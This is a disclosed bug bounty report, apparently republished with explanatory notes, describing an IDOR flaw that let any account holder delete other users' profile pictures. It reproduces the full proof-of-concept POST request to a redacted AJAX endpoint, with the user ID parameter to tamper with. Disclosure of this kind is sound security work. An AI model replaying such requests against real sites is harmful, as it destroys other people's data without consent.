IDOR to delete profile images in https:███████
The profile picture deletion endpoint accepted a user identifier parameter without checking that the requester owned that account, so an attacker could delete another user's profile picture by supplying their identifier. The report demonstrates this with a single request and a proof-of-concept video.
Originally disclosed on HackerOne
- Triaged in 8 hours
- Fixed in 30 days
- Disclosed after 2 months
Hi Team! When I was testing the https:█████████/userprofile.aspx discovered that pictures added were being deleted with a get request like so:
POST /AJAXUtilities.aspx HTTP/1.1
Host: ████████
Content-Length: 73
Sec-Ch-Ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Accept: text/plain, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https:█████████
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https:████/userprofile.aspx
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8
Connection: close
strCall=DeleteProfilePicture&strUserId=72827C83FCED4483B2B1077EA5B0C041
strUserId params seemed like a potential IDOR that lead to delete profile picture just with UserId Poc video attached
Impact
delete user profiles just using strUserId
System Host(s)
████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
video attached
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could delete other users' profile pictures by supplying their identifiers, with no indication that any defence limited the attack.
What the attacker needed
A valid account on the site; knowledge of another user's identifier
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An IDOR (Insecure Direct Object Reference) happens when a website lets you act on a record just by naming it, without checking that the record belongs to you. Here the site trusted a user identifier sent in the request, so anyone who knew or guessed another person's identifier could delete that person's profile picture.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.